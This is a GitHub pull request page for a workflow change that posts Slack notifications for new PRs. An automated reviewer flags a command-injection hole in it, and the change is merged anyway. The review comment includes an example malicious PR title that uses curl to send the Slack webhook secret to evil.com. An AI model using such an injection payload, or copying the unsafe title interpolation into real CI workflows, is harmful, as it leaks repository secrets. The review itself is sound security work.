Skip to content

revert(github): switch to using github slack integration subscription - #4

Merged
dancrew32 merged 1 commit into
masterfrom
revert-slack-integration
Jan 30, 2026
Merged

revert(github): switch to using github slack integration subscription#4
dancrew32 merged 1 commit into
masterfrom
revert-slack-integration

Conversation

@dancrew32

@dancrew32 dancrew32 commented Jan 30, 2026

Copy link
Copy Markdown

Reverts commit ae16c0e


Note

Low Risk
Changes only GitHub Actions workflows; main risk is misconfigured Slack webhook/escaping causing noisy or missing notifications, with no runtime code impact.

Overview
Adds a new GitHub Actions workflow, pr_slack_notify.yml, that runs on pull_request: opened to enforce semantic PR titles (via amannn/action-semantic-pull-request) and post a Slack message (via slackapi/slack-github-action) with the PR title/author/link.

Removes the previous standalone PR title validation workflow (pr_validation.yml) and includes a step to escape PR titles before embedding them in the Slack JSON payload.

Written by Cursor Bugbot for commit 7a11f78. This will update automatically on new commits. Configure here.

@dancrew32
dancrew32 requested a review from a team as a code owner January 30, 2026 20:52

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 2 potential issues.

Bugbot Autofix is OFF. To automatically fix reported issues with Cloud Agents, enable Autofix in the Cursor dashboard.

id: pr_data
run: |
# Get the PR title and escape special characters for JSON (needed for Reverts Commits)
PR_TITLE='${{ github.event.pull_request.title }}'

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command injection via PR title in shell script

High Severity

The PR title is directly interpolated into the shell script using '${{ github.event.pull_request.title }}'. An attacker can create a PR with a title containing single quotes and shell commands (e.g., test'; curl http://evil.com?s=$SLACK_PULL_REQUEST_WEBHOOK_URL; echo ') to escape the string and execute arbitrary code. This can leak the SLACK_PULL_REQUEST_WEBHOOK_URL secret. The fix is to pass the title through an environment variable instead of direct interpolation.

Fix in Cursor Fix in Web

pr-title:
name: Validate PR Title
runs-on: ubuntu-latest
if: github.event_name == 'pull_request'

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant conditional check for event type

Low Severity

The if: github.event_name == 'pull_request' condition is redundant because the workflow is already configured to only trigger on pull_request events (lines 2-4). This condition will always evaluate to true when the workflow runs.

Fix in Cursor Fix in Web

@dancrew32 dancrew32 changed the title Revert: switch to using github slack integration subscription revert(github): switch to using github slack integration subscription Jan 30, 2026
@dancrew32
dancrew32 merged commit 1948a3d into master Jan 30, 2026
8 of 9 checks passed
@github-actions
github-actions Bot deleted the revert-slack-integration branch February 8, 2026 00:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants